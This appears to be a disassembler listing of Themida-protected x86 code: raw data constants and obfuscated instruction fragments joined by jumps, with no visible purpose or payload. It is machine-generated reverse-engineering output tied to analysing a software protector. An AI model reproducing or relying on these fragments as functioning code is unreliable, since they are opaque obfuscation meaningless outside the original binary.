0F028FFFFh, 8124148Bh dd 4C4h, 0EC815100h, 4, 0E9240489h, 0FFFFF8B2h, 9BEB815Fh dd 161525Fh, 9BC381EBh, 5D61525Fh, 8904EC83h, 74FF241Ch dd 8F5B0424h, 248B2404h, 695CE924h, 0B0BB0000h, 81065F3Ch dd 0AA508CC3h, 0F8BD5528h, 8178F070h, 0DA00E4EDh, 5DEB2153h dd 752B68h, 24048900h, 8F1E5FB8h, 8BC30133h, 0C4832404h dd 4EBC104h, 81FFEB83h, 88F1EAF3h, 70C78105h, 0E917203Ah dd 0FFFFF484h, 159C801h, 24048BC3h, 4C481h, 0EB810000h dd 4, 31241C33h, 1C33241Ch, 1C895C24h, 50E38924h, 4B8h dd 58C30100h, 3302C383h, 1C31241Ch, 241C3324h, 48B665Ch dd 4EC8324h, 89241489h, 7E5C68E2h, 3C890000h, 0DBEBE924h dd 8166FFFFh, 664053CBh, 0C48C381h, 198A6866h, 1FC2E9h dd 16BE5600h, 816ADF1Ch, 2A55D7C6h, 50EE814Fh, 317CEB17h dd 3ED7E9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5072B6: ; CODE XREF: Themida_:005067ECj xchg ecx, [esp] pop esp push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_50C16E ; --------------------------------------------------------------------------- db 0F6h, 0D0h, 0C0h dd 0C8FE05E8h, 0FFDA2FE9h, 82E95DFFh, 89000037h, 8B54240Ch dd 0C481240Ch, 4, 4EC81h, 34890000h, 7B39BE24h, 0BD557B87h dd 847884CBh, 15DEE01h, 0BD555EF1h, 603F3083h, 0C581D5F7h dd 603F3086h, 5FECC181h, 6DE976F1h, 0AC00004Bh, 7F02E9h dd 0B834E900h, 0C483FFFFh, 81D18704h, 4ECh, 24048900h dd 21317FB8h, 0DC09E922h, 0E7C1FFFFh, 0FC53E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50735A: ; CODE XREF: Themida_:0050B1CCj xchg edx, [esp] pop esp mov [esp], ebx jmp loc_509919 ; --------------------------------------------------------------------------- dw 9A05h dd 0E93FAD40h, 0FFFFCF46h, 1141C781h, 48B2D3Bh, 4C48124h dd 5000000h, 1B2C05F3h, 0F32DF801h, 5F1B2C05h, 8B85056h dd 0F734EA5Dh, 413E35D8h, 250D5F16h, 4853095Ah, 2D05E8C1h dd 0DE805B5Ah, 8158C689h, 9E578AC6h, 0ED5EE961h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5073B6: ; CODE XREF: Themida_:0050F0B5j mov cx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5050D7 ; --------------------------------------------------------------------------- dd 0F1108468h, 4ED5E96Ah, 0FE590000h, 0FED2F6C2h, 69F280C2h dd 43E0E9h db 0 ; --------------------------------------------------------------------------- loc_5073E1: ; CODE XREF: Themida_:0050F072j mov eax, 0D4A44B8h xor eax, 1028458Dh push ebp mov ebp, 75E13BC2h xor ebp, 5F8806F9h sub eax, ebp pop ebp jmp loc_506A2E ; --------------------------------------------------------------------------- loc_5073FF: ; CODE XREF: Themida_:0050E40Dj push dword ptr [esp] pop ecx push edi push esp pop edi push 0B29h mov [esp], ecx mov ecx, 39C1042Ah or ecx, 6A3A1D06h jmp loc_503A23 ; --------------------------------------------------------------------------- loc_50741E: ; CODE XREF: Themida_:0050D226j pop ebp pop dword ptr [esp] pop esp mov [esp], ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 xor esi, ecx xor ecx, esi jmp loc_5032E3 ; --------------------------------------------------------------------------- loc_507438: ; CODE XREF: Themida_:00506FA2j add ebp, 4 jmp loc_503BA0 ; --------------------------------------------------------------------------- loc_507443: ; CODE XREF: Themida_:00505271j pop ecx jmp loc_507B79 ; --------------------------------------------------------------------------- loc_507449: ; CODE XREF: Themida_:00503FEFj push esi jmp loc_50B088 ; --------------------------------------------------------------------------- db 81h dd 45FAFDEBh, 5BD801C8h, 0E9240487h, 0FFFFDAE7h, 4705D829h dd 0E928D059h, 0FFFFE42Fh, 0CAFE12B2h, 0D4F6E286h, 0A8E9E286h dd 6600006Bh, 50240C8Bh, 0E953E089h, 0FFFFC342h ; --------------------------------------------------------------------------- loc_507488: ; CODE XREF: Themida_:0050B68Aj mov [esp], edx mov eax, [esp] add esp, 4 jmp loc_50984A ; --------------------------------------------------------------------------- loc_507496: ; CODE XREF: Themida_:0050AAFDj mov [esp], ebp mov ebp, 221D2E63h sub ebp, 19F36BB3h shr ebp, 8 xor ebp, 21B079CFh add ebp, 0E2CDC3E3h or ebp, 148A1B0Dh xor ebp, 121F0BF5h sub ecx, ebp jmp loc_50A3B3 ; --------------------------------------------------------------------------- dw 0E6C1h dd 0B5E94E08h, 0FFFFFFE0h db 34h, 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_504487 ; --------------------------------------------------------------------------- dd 0C8416368h, 242C8B3Bh, 4C481h, 0C14D0000h, 0ED8106E5h dd 0E2B308DAh, 15E9E989h, 1000017h, 1BC581F5h, 5E115476h dd 295DE829h, 0EA33E9D8h, 0D389FFFFh, 6092E9h, 4EC8300h dd 89240489h, 123D68E0h, 2C890000h, 4BD24h, 0D4E90000h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_507537: ; CODE XREF: Themida_:0050BC8Fj sub eax, esi jmp loc_503614 ; --------------------------------------------------------------------------- dw 0BB53h dd 7E343CBh, 0D45248B8h, 5BD83137h, 0BE94840h, 81FFFFF3h dd 0C93861E2h, 85C28121h, 816CD37Bh, 740592C2h, 0E60CE97Ch dd 0D3F6FFFFh, 1AEDE952h, 0C4830000h, 2C78104h, 87000000h dd 248B243Ch, 3FD4E924h, 48B0000h, 7653E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50758E: ; CODE XREF: Themida_:0050C3C2j pop eax xchg edi, [esp] mov esp, [esp] jmp loc_509B3F ; --------------------------------------------------------------------------- dw 3433h dd 24343124h, 0E9243433h, 0FFFFE984h, 24248B66h, 0FFB5BDE9h dd 0E9E089FFh, 1953h, 0E9C0D9F6h, 36B65207h, 305AF128h dd 20AAE9CEh, 0D9F70000h, 0FDE98141h, 0E9D78EB3h, 2B3h dd 3B2F6866h, 240C8966h, 2414F766h, 240C8B66h, 5902E9h dd 82BD5500h, 291BDEBBh, 2CDBE9E9h, 0EE810000h, 4, 0FFFF95E9h dd 4C483FFh, 0FFCEDBE9h, 3877FFFFh, 0D1685552h, 5D4C7F71h dd 6899E581h, 81E93589h, 89000038h, 32BD242Ch, 16C5645h dd 5D08246Ch, 6883E9h, 270ABD00h, 33052ADCh, 0E9689F72h dd 0CDAh, 1535D7B9h, 244C290Ah, 428F5904h, 30428130h, 0A1535D7h dd 1511E958h, 0CA800000h, 0E9DAF693h, 6CCDh, 60B9515Bh dd 817D1C3Ah, 4B4B9AE1h, 299E942h, 0EFE90000h, 0BDFFFFB4h dd 16C95500h, 22BAE9h, 4B85000h, 81000000h, 0D44BE6EDh dd 81C50141h, 0D44BE6C5h, 0C78EE941h, 0E95BFFFFh, 171Dh dd 0E95BD829h, 0FFFFFCB6h, 0F2D49B05h, 0D4AEE9BBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5076BA: ; CODE XREF: Themida_:0050A42Fj add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, 4 add edi, edx jmp loc_50EE18 ; --------------------------------------------------------------------------- dd 7CAD6856h, 815E79BCh, 2067B9E6h, 0C4B4E93Ah, 34FFFFFFh dd 0D2685924h, 8900005Fh, 5A542414h, 5215E9h db 0 ; --------------------------------------------------------------------------- loc_5076F9: ; CODE XREF: Themida_:0050B1C1j add esp, 4 push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi jmp loc_505D78 ; --------------------------------------------------------------------------- loc_507725: ; CODE XREF: Themida_:0050E393j not ebx xor edi, ebx xor ebx, edi xor edi, ebx xchg eax, edi xor eax, 15D82846h jmp loc_5094EC ; --------------------------------------------------------------------------- dd 240C8B66h, 815E5456h, 4C6h, 4EE8300h, 5C243487h, 54243C89h dd 4C7815Fh, 83000000h, 3C8704EFh, 34895C24h, 26CAE924h dd 0BD550000h, 6A422E8Eh, 8246C29h, 2434FF5Dh, 0E92434FFh dd 7B81h ; --------------------------------------------------------------------------- loc_50777C: ; CODE XREF: Themida_:00503CDBj pop ebp mov edx, [esp] add esp, 4 push eax sub esp, 4 mov [esp], ebp push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop ebp jmp loc_50A17B ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 0FFE65FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5077B1: ; CODE XREF: Themida_:00502B71j push ecx mov cl, 79h sub cl, 24h add al, 0DAh add al, cl sub esp, 2 jmp loc_50BDCE ; --------------------------------------------------------------------------- dw 8B66h dd 0E9562404h, 0FFFFF1DAh, 8B2434FFh, 24E92404h, 5200004Dh dd 4BAh, 13FBE900h, 0CFFE0000h, 30FCC780h, 0E4C05BFCh dd 0F6CCFE06h, 10EC80D4h, 3E9E388h, 41000041h, 83AE981h dd 0C80183BAh, 30FDE9h, 240C8B00h, 79FE9h, 0C4835900h dd 33256804h, 0C890000h, 0E97DB524h, 6166h, 56535052h dd 157E0868h, 24348B44h, 8104C483h, 0C772FDE6h, 0C1D6F75Ah dd 0D9E904EEh db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507847: ; CODE XREF: Themida_:0050BC02j push eax push 1AC1h mov [esp], esi mov eax, [esp] add esp, 4 jmp loc_50F180 ; --------------------------------------------------------------------------- db 89h dd 0D22D5BD8h, 0E956DDE2h, 0FFFFED92h, 0D7B55150h, 0FFB4DDE9h dd 0DAF659FFh, 58CBE9h, 28900400h, 90B252C8h, 665AD028h dd 9FE95359h, 100000Ch, 0FF5359CBh, 5B042474h, 5C24048Fh dd 0E924048Bh, 3E70h db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5042C8 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 17D16858h, 1C890000h, 73936824h, 24890000h dd 24048124h, 4, 5B2434FFh, 81595451h, 4C1h, 4C18100h dd 87000000h, 815C240Ch, 4C3h, 4C38100h, 87000000h, 1CE9241Ch db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_507903: ; CODE XREF: Themida_:0050499Fj add ebp, eax jmp loc_5087E0 ; --------------------------------------------------------------------------- dw 0BA66h dd 5CE904AEh, 8100003Eh, 0DA727FF1h, 68E9817Ch, 0E91A447Dh dd 0FFFFD882h, 0E9243C89h, 0FFFFD414h, 8140478Fh, 6EEF4047h dd 34FF62F1h, 24048B24h, 6A1868h, 24348900h, 0C6815E54h dd 4, 3015BB53h, 0DBF77D42h, 0CFEFF381h, 13E982BDh, 0B900000Eh dd 63486614h, 803C981h, 0BF5724E5h, 7B0F06B9h, 26C3CF81h dd 0E7817143h, 4F161C2Bh, 5720C781h, 47E94332h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507987: ; CODE XREF: Themida_:0050D7E8j pop eax sub edi, edx pop edx xchg edi, [esp] mov esp, [esp] mov [esp], ebx push ecx jmp loc_50B8C1 ; --------------------------------------------------------------------------- dw 0B951h dd 401020C4h, 89CB8953h, 0C8B5BD8h, 11F16824h, 14890000h dd 0E9E28924h, 3F28h, 0F70093B7h, 2C7E045Ah, 476E96Fh dd 1C890000h, 51D78824h, 523368h, 24048900h, 0C188F888h dd 3BA86858h, 14890000h, 0CF885324h, 1C8BFE88h, 4C48124h dd 88000000h, 8B5A8734h, 0C6E9240Ch, 0C100001Bh, 0E5C105EDh dd 9BB85006h, 11FBA76h, 0C58158C5h, 0E1674CE7h, 0FFD999E9h dd 1AED81FFh, 291AA55Eh, 1AC581F5h, 8B1AA55Eh, 0CCE92434h dd 29000056h, 0FD315DEFh, 5DE9215Fh, 7B62C981h, 0F749615Ah dd 69C181D9h, 81795F7Bh, 1C5AACEFh, 81CF0122h, 1C5AACC7h dd 0C7835922h, 243C3302h, 0FFD1C8E9h, 71C2BAFFh, 7FE97A11h dd 80FFFFD3h, 0D328B9EAh, 1A1EE95Ah, 0F5800000h, 0F1E95265h dd 8BFFFFF9h, 74E92424h, 0B8000050h, 4, 48BC389h, 0EAD7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507A92: ; CODE XREF: Themida_:005097AEj push ebx jmp loc_50AA0C ; --------------------------------------------------------------------------- loc_507A98: ; CODE XREF: Themida_:0050E87Dj sub edi, 97E3E75Dh sub eax, 5349599Eh add eax, edi add eax, 5349599Eh jmp loc_50D6DC ; --------------------------------------------------------------------------- aUfNfislSj db 'Uf½²nf‰è‹,$é¦&',0 dw 6600h dd 5124048Bh, 3868E189h, 89000041h, 4BD242Ch, 1000000h dd 11C4E9E9h, 3C8B0000h, 4BB3E924h, 0C4810000h, 4, 4C381h dd 0EC810000h, 4, 0E9242C89h, 3A78h, 0E9242C8Bh, 0FFFFE5E5h ; --------------------------------------------------------------------------- loc_507B04: ; CODE XREF: Themida_:0050D513j xor ebx, 3EFE68DAh sub eax, ebx mov ebx, [esp] push edx mov edx, esp jmp loc_50BDD8 ; --------------------------------------------------------------------------- db 81h dd 0C6578CC2h, 40C38133h, 8124CF7Ah, 0FA08B8EBh, 81D30158h dd 0FA08B8C3h, 0B040E958h, 0C89FFFFh, 81E18924h, 4C1h dd 68575500h, 4F1F73C3h, 0C68475Fh, 8900003Dh, 92E9241Ch dd 0BA00004Bh, 1, 515AD029h, 0F61316B9h, 0E9814141h, 0F1680ABEh dd 0FFCA0DE9h, 2434FFFFh, 5F29E9h db 0 ; --------------------------------------------------------------------------- loc_507B79: ; CODE XREF: Themida_:00507444j add ecx, 4 jmp loc_504906 ; --------------------------------------------------------------------------- dd 5C241487h, 0E9243C89h, 69E1h, 240C8B66h, 4EC81h, 5AE90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507B9F: ; CODE XREF: Themida_:00505E02j add [esp], eax pushf jmp loc_502B6E ; --------------------------------------------------------------------------- dd 1C8B5453h, 40E2E924h, 0F8000000h, 0B7532204h, 5BF828EAh dd 6124E9h, 8BCB0100h, 5AE9240Ch, 8B00004Ah, 9BE92424h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507BD3: ; CODE XREF: Themida_:00505BBFj pop edx xchg eax, [esp] pop esp add esp, 4 jmp loc_5063FF ; --------------------------------------------------------------------------- dd 5604C483h, 4BEh, 8BF70100h, 37E92434h, 5FFFFBFh, 293941BCh dd 0A1DE9h, 0D831AD00h, 81E68956h, 4C6h, 4B85000h, 81000000h dd 0D42E83C6h, 81C6292Ah, 0D42E83EEh, 3487582Ah, 24248B24h dd 0FFE5E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_507C29: ; CODE XREF: Themida_:0050C11Dj xchg edi, [esp] jmp loc_50A9E7 ; --------------------------------------------------------------------------- loc_507C31: ; CODE XREF: Themida_:005057B5j sub eax, ebx jmp loc_509F2C ; --------------------------------------------------------------------------- dd 77F0BA52h, 0CA811246h, 787D351Eh, 593BE953h, 0C4830000h dd 0E9E83004h, 480h ; --------------------------------------------------------------------------- loc_507C54: ; CODE XREF: Themida_:0050AEE6j mov ebx, esp add ebx, 4 jmp loc_50BA44 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 6624248Bh, 66240C89h, 66C8B60Fh, 0F7E99C51h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507C77: ; CODE XREF: Themida_:0050D32Cj add esp, 4 and eax, ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] jmp loc_50A43E ; --------------------------------------------------------------------------- dw 14F7h dd 0C5815D24h, 36EEC951h, 0EEE9EF01h, 89000060h, 2B0558C1h dd 0E9225F26h, 47E6h, 4B850h, 1BE90000h, 55000067h, 0A0644CBDh dd 0E9D5F756h, 0FFFFDBF3h, 0E902EC83h, 363Eh, 0F6D78853h dd 0FC8850D7h, 638CE9h, 66596600h, 0E9E5B652h, 1985h ; --------------------------------------------------------------------------- loc_507CE8: ; CODE XREF: Themida_:00505A93j sub esi, ecx pop ecx add esi, ecx add esi, 59A009EBh jmp loc_50DCDF ; --------------------------------------------------------------------------- dd 4EC815Bh, 89000000h, 0AB682414h, 0E9000059h, 3E26h dd 0E92424D3h, 0FFFFAE5Ah ; --------------------------------------------------------------------------- loc_507D14: ; CODE XREF: Themida_:00508AB6j push ecx push esp pop ecx add ecx, 4 add ecx, 2 jmp loc_50671E ; --------------------------------------------------------------------------- db 93h, 58h, 81h dd 0F407F9C3h, 0E200E940h, 0E941FFFFh, 0FFFFCB7Ch, 3BD2C581h dd 51587529h, 24C668h, 242C8900h, 0FFF797E9h, 685559FFh dd 17F2h, 0E9242489h, 6F12h, 68243C89h, 264515C9h, 81243C8Bh dd 4C4h, 44F78100h, 57512BA8h, 674EE9h db 0 ; --------------------------------------------------------------------------- loc_507D79: ; CODE XREF: Themida_:0050D768j mov esi, 26803F03h or eax, esi pop esi add eax, 6881FF54h add edx, eax jmp loc_509E53 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 5B66F800h, 64A2E9h, 242C8900h, 4768E589h, 89000019h dd 0BBE9241Ch db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507DAB: ; CODE XREF: Themida_:0050D457j pop esp shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_50C9F2 ; --------------------------------------------------------------------------- db 0FEh, 0C0h, 0E9h dd 1E47h, 54240489h, 40558h, 42D0000h, 87000000h, 248B2404h dd 24148924h, 0FEE93CB6h, 66000054h, 68240C8Bh, 23C1h dd 54243C89h, 32E9535Fh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_507E07: ; CODE XREF: Themida_:00505096j sub eax, ebp pop ebp pop ebp pop edi push ebp mov ebp, 58CB2189h push edx push eax jmp loc_50585C ; --------------------------------------------------------------------------- loc_507E19: ; CODE XREF: Themida_:00504C20j mov edx, 6E39314Ch add eax, edx pop edx add eax, 66252F2Dh jmp loc_50C37D ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 0E904C683h, 402Eh, 6F04F828h, 7EB55166h dd 3BE9E828h, 1000037h, 241C8BDFh, 0FFF71DE9h db 0FFh ; --------------------------------------------------------------------------- loc_507E55: ; CODE XREF: Themida_:00509709j push ebx inc dword ptr [esp] pop ebx add ebx, 0AE6FC5FBh jmp loc_5051A0 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8324h, 54240489h, 0E9575558h, 0FFFFD55Eh, 0E9240489h dd 2446h, 864153BFh, 1D27E910h, 565E0000h, 0FFC44EE9h dd 0CF815BFFh, 7841E50h, 7FF7EF81h, 0F80177F7h, 2055Fh dd 4870000h, 85665C24h, 35E99CC8h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507EB3: ; CODE XREF: Themida_:00506964j shl ecx, 4 neg ecx xor ecx, 6D5CA944h sub esp, 4 jmp loc_50498D ; --------------------------------------------------------------------------- dw 0D689h dd 4CEE815Ah, 0E91B124Bh, 0FFFFD5F6h, 7A667D05h, 12700D46h dd 0E0C14CAEh, 0FEFC2D06h, 79E9FFA6h, 81000056h, 4C2h dd 0E8E95000h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_507EF7: ; CODE XREF: Themida_:0050673Cj push ax mov ah, 0A4h xor dl, ah pop ax shl dl, 6 not dl xor dl, 4Fh sub bl, dl jmp loc_5057CB ; --------------------------------------------------------------------------- dw 5366h dd 0D8281EB3h, 5EBBE9h, 0CC66800h, 24890000h, 0E56EE924h dd 0DF31FFFFh, 0BA52475Bh, 7EE1FA2h, 1179E9h, 5E545600h dd 4C681h, 0C6810000h, 4, 31243433h, 32E92434h, 55000064h dd 57AFE9h db 0 ; --------------------------------------------------------------------------- loc_507F55: ; CODE XREF: Themida_:0050B615j mov esi, [esp] add esp, 4 mov eax, [esp] add esp, 4 push eax mov eax, esp jmp loc_508D75 ; --------------------------------------------------------------------------- dd 5C241487h, 58B8E9h, 82B95100h, 556BBC4Eh, 727878BDh dd 580FE90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_507F86: ; CODE XREF: Themida_:00502CE0j add esp, 4 jmp loc_50C826 ; --------------------------------------------------------------------------- db 51h, 0B9h, 9Fh dd 0E936D060h, 0FFFFCEFAh, 4C181h, 0C1830000h, 240C8704h dd 74FF575Ch, 0E95F0424h, 38ADh, 5004C483h, 0FFC349E9h db 0FFh ; --------------------------------------------------------------------------- loc_507FBD: ; CODE XREF: Themida_:00508183j mov [esp], ecx mov ecx, 44AF027Eh xor eax, ecx jmp loc_50BEB5 ; --------------------------------------------------------------------------- dd 81243C8Bh, 4ECh, 243C8900h, 0FFDAF2E9h, 0C3815BFFh dd 4, 6667E9h db 0 ; --------------------------------------------------------------------------- loc_507FE9: ; CODE XREF: Themida_:0050DCE0j xor esi, [esp] jmp loc_5081FA ; --------------------------------------------------------------------------- db 66h, 53h, 0B3h dd 66DA080Bh, 0C0DAF65Bh, 0B6E908EAh, 56000038h, 0FFD0A5E9h dd 81C381FFh, 0E96C454Ch, 38F7h, 0C908E957h, 8358FFFFh dd 536604C4h, 0D82834B3h, 0E8285B66h, 34FF3404h, 0BA31E924h dd 405FFFFh, 0E9000000h, 0FFFFEFC3h, 0C1815954h, 4, 0FFBF0BE9h dd 8BCA01FFh, 0C481240Ch, 4, 2BF57h, 0FA010000h, 8B2434FFh dd 0C481243Ch, 4, 8704C483h, 248B2414h, 7056E924h, 0EF890000h dd 16F7815Dh, 815F3214h, 563509F7h, 0B7C3810Ah, 129610Dh dd 0B7EB81FBh, 5F29610Dh, 0EB81CB29h, 31A67FA8h, 5BDE0159h dd 0FFBC1EE9h, 0EE015BFFh, 1CEC681h, 0BAE95E3Dh, 8300003Bh dd 0F03002C4h, 24148B66h, 2C481h, 0C3300000h, 66C0B60Fh dd 6646F468h, 0E9240489h, 0FFFFAA9Ah, 0B6525359h, 1C68046h dd 52B7B450h, 19E989B6h, 0B9FFFFCAh, 67C1493h, 2CBFE9h dd 4BF5700h, 1000000h, 0E9535FF9h, 6BDEh, 6721EB81h, 0BFE96319h dd 5CFFFFBCh, 4EC8152h, 89000000h, 0E9512434h, 5A8Bh ; --------------------------------------------------------------------------- loc_50811C: ; CODE XREF: Themida_:0050BE3Cj push 793Bh mov [esp], ecx jmp loc_50AA5E ; --------------------------------------------------------------------------- db 80h, 0CDh, 2 dd 201EED80h, 0CEFE59EEh, 2837F680h, 0C04CE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50813E: ; CODE XREF: Themida_:0050968Aj pop eax jmp loc_5051D2 ; --------------------------------------------------------------------------- loc_508144: ; CODE XREF: Themida_:0050D76Ej xchg ebx, ebp jmp loc_50DA6D ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 0E9565D00h, 4CAEh ; --------------------------------------------------------------------------- loc_50815C: ; CODE XREF: Themida_:00505204j add ecx, 4 xchg ecx, [esp] pop esp sub ebp, 0B667768Ah mov esi, ebp jmp loc_505BE7 ; --------------------------------------------------------------------------- dd 0E95AD101h, 672Fh, 0E9240489h, 0FFFFF554h ; --------------------------------------------------------------------------- loc_508180: ; CODE XREF: Themida_:0050D694j mov esp, [esp] jmp loc_507FBD ; --------------------------------------------------------------------------- loc_508188: ; CODE XREF: Themida_:0050404Cj pop eax add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] mov ecx, [esp] push edx jmp loc_5094A9 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 6FC2h, 89243489h, 4C681E6h, 53000000h, 2BBh dd 0FFDE0100h, 505B2434h, 44E9E089h, 4FFFFBBh, 0F5C38077h dd 0CFE9C328h, 1FFFFDCh, 3C8759CFh, 8B665C24h, 89512404h dd 4C181E1h, 83000000h, 0C8704E9h, 3C895C24h, 3C8B5424h dd 40D5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5081FA: ; CODE XREF: Themida_:00507FECj xor [esp], esi jmp loc_504617 ; --------------------------------------------------------------------------- dw 0EFC1h dd 38C78108h, 81558A10h, 8C0FF5F7h, 5FF80155h, 510DBE56h dd 0E6816A1Eh, 363C5A20h, 0DA6EE81h, 0C0E913B2h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50822B: ; CODE XREF: Themida_:005098F7j add edx, 4 xchg edx, [esp] pop esp push esi jmp loc_503EDD ; --------------------------------------------------------------------------- dd 0B951FB01h, 0 dd 1CE9D901h, 59000009h, 8098B151h, 526645C1h, 0F1303EB6h dd 0E1805A66h, 0FFC18065h, 0C180D1F6h, 0B05066BEh, 66C3281Dh dd 5D77E958h, 34870000h, 2C895C24h, 4EC8324h, 0BE243489h dd 6CDB1BACh, 0C106E6C1h, 4EE904EEh db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50828B: ; CODE XREF: Themida_:00508C8Bj sub eax, 2AC6122Dh mov ebp, [esp] push edx sub esp, 4 jmp loc_50E110 ; --------------------------------------------------------------------------- dd 0FFD83158h, 835B2434h, 0C33104C4h, 253F68h, 0BF1BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5082B2: ; CODE XREF: Themida_:00508D7Aj sub eax, 4 jmp loc_50D691 ; --------------------------------------------------------------------------- dw 0D801h dd 35EDE9h, 0CA815A00h, 4C2C013Ch, 657AEA81h, 0F7526714h dd 8BE92414h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5082D7: ; CODE XREF: Themida_:0050A2F5j mov ecx, 98228FDh add ebx, ecx pop ecx not ebx xor ebx, 211745B8h and ecx, ebx pop ebx shr ecx, 7 push 5616h mov [esp], esi jmp loc_50D9D9 ; --------------------------------------------------------------------------- dw 0D828h dd 66AA045Bh, 8324148Bh, 0BDE902C4h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50830B: ; CODE XREF: Themida_:005037A4j pop eax push edx jmp loc_50DF95 ; --------------------------------------------------------------------------- dw 5DB9h dd 1423D0Ah, 4362E9CAh, 0E8290000h, 2BC6E9h, 55DEF700h dd 0FE2E3F68h, 0EE295D63h, 83242C8Bh, 0DEF704C4h, 779C681h dd 0DBE969C7h, 89000067h, 0ED8159CDh, 1D4F1FC9h, 0FFC997E9h dd 0C8B66FFh, 0E7895724h, 3CE4E9h, 5335B400h, 0FFB592E9h dd 4BCF68FFh, 1C890000h, 5749E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_508372: ; CODE XREF: Themida_:0050876Dj push ecx mov ecx, 4 add ebx, ecx jmp loc_509300 ; --------------------------------------------------------------------------- db 91h dd 15070D40h, 48E91398h, 29FFFFC0h, 23CAE9D8h, 0D7E90000h dd 80FFFFA7h, 0CB00F7E9h, 0E9C32859h, 16D5h ; --------------------------------------------------------------------------- loc_5083A4: ; CODE XREF: Themida_:00506E0Ej xor [esp], ecx xor ecx, [esp] jmp loc_5093AE ; --------------------------------------------------------------------------- db 83h dd 3C8704C4h, 24248B24h, 9C240409h, 0FFA7ADE9h, 0A4C681FFh dd 1405EACh, 0CA45E9F5h, 0F766FFFFh, 0E99C241Ch, 0FFFFA796h dd 3E6CF281h, 0C3E91A2Bh, 52000065h, 0C2FEFBB2h, 0F280DAF6h dd 6E2C02Ch, 8A6C280h, 0E95AD3h, 58000059h, 90E95266h dd 89000054h, 34FF2404h, 0E9525A24h, 4CC3h, 4C281h, 14870000h dd 89E95C24h, 1FFFFD3h, 24148BD1h, 4C481h, 89520000h, 426CE9CAh dd 9580000h, 0E5D1E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50843A: ; CODE XREF: Themida_:00505BD6j pop ebx shr ecx, 6 push 620Fh mov [esp], ebp mov ebp, 4D771C4Bh xor ebp, 4FB49F54h sub ecx, ebp pop ebp and eax, ecx jmp loc_50C8B4 ; --------------------------------------------------------------------------- db 0BAh dd 0CCA614Ah, 2390E281h, 0BE9103Dh, 52FFFFE9h, 88146FBAh dd 0DFC3E901h, 0BA52FFFFh, 62375461h, 2F31E9h db 0 ; --------------------------------------------------------------------------- loc_508481: ; CODE XREF: Themida_:005087F5j mov eax, 0E683C8Fh shr eax, 3 dec eax xor eax, 48541E39h sub ebp, eax mov eax, [esp] add esp, 4 pop ecx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push dword ptr [esp] pop ecx push 544Dh mov [esp], eax mov eax, esp add eax, 4 push esi push ebx jmp loc_50B727 ; --------------------------------------------------------------------------- dw 97BBh dd 4B095666h, 6692BE56h, 44E90956h, 0BD000005h, 625053E7h dd 0DDF7D5F7h, 0D5F7DDF7h, 53E3ED81h, 0BB536250h, 5E3D01CEh dd 327FBB53h, 0F38145ADh, 57681987h, 81DBF74Bh, 5EB1F3h dd 0C381437Eh, 0AB68C71Eh, 1C8BDE01h, 4C48324h, 0EE81DE29h dd 3EA351D7h, 0FFFB88E9h db 0FFh ; --------------------------------------------------------------------------- loc_50851D: ; CODE XREF: Themida_:00508CEFj xor ebp, edx pop edx and eax, ebp mov ebp, [esp] jmp loc_50460F ; --------------------------------------------------------------------------- dw 85B3h dd 5B00E9h db 0 ; 